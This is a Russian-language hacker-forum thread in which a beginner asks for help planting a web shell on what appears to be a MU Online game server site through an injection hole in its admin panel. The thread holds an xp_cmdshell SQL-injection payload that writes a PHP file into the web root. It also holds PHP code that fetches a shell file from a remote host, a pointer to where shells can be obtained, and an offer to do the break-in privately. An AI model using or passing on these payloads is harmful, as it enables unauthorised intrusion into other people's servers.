Помогите с Shellom

[Scetcher]

Всем привет, я новичок в этом деле на счет шеллов и никак немгу понять как мне прописать чтобы залить шелл, я захожу в админку там есть уязвимость через которую и можно прописать шелл, ну вот вопрос состоит как прописать ссылку например www.ссылка_на_шелл/c99.php
Получается только залить phpinfo
; USE Master exec xp_cmdshell 'echo "<?php phpinfo(); ?>" > C:\AppServ\www\shell.php';--
Ссылку вписываю так
http://pic.ipicture.ru/uploads/090612/Pd0bq7RGih.jpg

Я вот сам немогу сообразить какб ы это обьянсить поподробней:((
Ну я хочу через CMD залить шелл

[+++AndreyDevil+++]

Что то не то...3 раза перечитывал

[diznt]

Через cmd нельзя никак (так как у тебя вроде нету доступа к нему на сколько я понял)
Поищи в гугле "Мини шелл" (там все таки не полный шелл но можно что то сделать)
А вообще надо смотреть какая у тя ситуация так будет лучше понимание людей (понимание проблемы)

[Scetcher]

Через cmd нельзя никак (так как у тебя вроде нету доступа к нему на сколько я понял)
Поищи в гугле "Мини шелл" (там все таки не полный шелл но можно что то сделать)
А вообще надо смотреть какая у тя ситуация так будет лучше понимание людей (понимание проблемы)
Ну через CMD получается же сделать PHPINFO
http://pic.ipicture.ru/uploads/090612/UStrycXtow.jpg

[diznt]

<?php
copy('http://yazzz.com/shell.txt','shell.php');
?>

Вот код
Вместо www.yazzz.com/shell.txt пишешь путь до шелла который ты сам залил на какой нибуть хост, так как дальше его содержимое будет копироваться в файл shell.php (главное чтобы файл shell.php существовал уже в каталоге!)(шелл можно достать на madnet.name)
Главное чтобы было с http вначале иначе код наврятли сработает

Пробуй вообщем в правильности кода я не уверен

[Scetcher]

ничего неполучается:((((((((

[diznt]

Щас попробуй!
Я там просто обновлял пост (ошибки были)
А лучше напиши как сначала будешь делать и что писать чтобы я смог проверить все ли правильно!
Работать должно так как протестил на локалке

[Scetcher]

При вводе этого у меня Fatal error: Call to a member function fetchrow() on a non-object in C:\AppServ\www\administrator\editcharacter.php on line 12

[diznt]

Скинь уязвимость в ПМ (если через акк уязв. то с акком) попробую залить шелл. как залью расскажу что и как я делал

[Scetcher]

Напиши в аську плиз
384-586-512

[Ponchik]

muonline gamer detected
Народ, тут всё просто =\
Все мушки (muonline серверы) ставят школьники по инструкции, смотрят видео и посторяют, чато даже phpmyadmin не удаляют
Точно также их ломают такиеже школьники, также по инструкции, тупо повторяют что видят в видео, ТС какраз пример этого

Мне даже кажеться это я эту дырку в паблик выложил, ибо я юзаю use master exec xp_cmdshell вместо exec master..xp_cmdshell, но не уверен, ТС, покажи де видео нащёл

[diznt]

понч он твоего видео все это сделал. мне он сам сказал.

[Ponchik]

Тему можно закрывать, ибо как вы ему скажите так он и повторит =\

[Scetcher]

Ponchik detected , мего хакер muonline, да я юзнул твой видос, ты так говришь о школьниках как будто ты с самого рождение все сразу знал...всему надо учится, подсказал бы что либо...

[mailbrush]

Scetcher, скинь в ПМ либо в аську 674542

[Ponchik]

Scetcher, твоя проблема в том что ты хочеш хекать хекать хекать, но ты без понятия как это работает всё =\
Выучи PHP, MySQL напиши пару сайтов, и знания о хеке появятся сами собой
Хек это побочный эффект так сказать, его низя познать незная как оно всё работает
Пойди книги по программированию почитай, ну неделя у тя уйдёт чтоб книгу прочитать, зато всё поймёш и небудеш мозг насиловать нам

[Scetcher]

Ponchik , ну вот тут хотябы какойто уже совет дал:))

[Scetcher]

Ponchik, ну всетаки может подскажешь как это сделать?:)

[Tigger]

muonline gamer detected
Народ, тут всё просто =\
Все мушки (muonline серверы) ставят школьники по инструкции, смотрят видео и посторяют, чато даже phpmyadmin не удаляют
Точно также их ломают такиеже школьники, также по инструкции, тупо повторяют что видят в видео, ТС какраз пример этого

Мне даже кажеться это я эту дырку в паблик выложил, ибо я юзаю use master exec xp_cmdshell вместо exec master..xp_cmdshell, но не уверен, ТС, покажи де видео нащёл


А что за видео? о_0

[-Onotole-]

Что-бы что-то ломать,нужно что-то построить! (с)

[Ponchik]

Ponchik , ну вот тут хотябы какойто уже совет дал:))
Как хорошо, онотоле одобряе?
За ум берись ***!

[-Onotole-]

Как хорошо, онотоле одобряе?
За ум берись ***!
Одобряэ!

[Scetcher]

Как хорошо, онотоле одобряе?
За ум берись ***!
:D :D :D :D :D :D

[Tigger]

Ponchik, что за видео-то? о_0
Я что-то пропустил) ?

[Scetcher]

Ponchik, что за видео-то? о_0
Я что-то пропустил) ?
Видео старое уже...как он MuWeb хакал
СКАЧАЙ =) (http://www.sharemania.ru/0226098)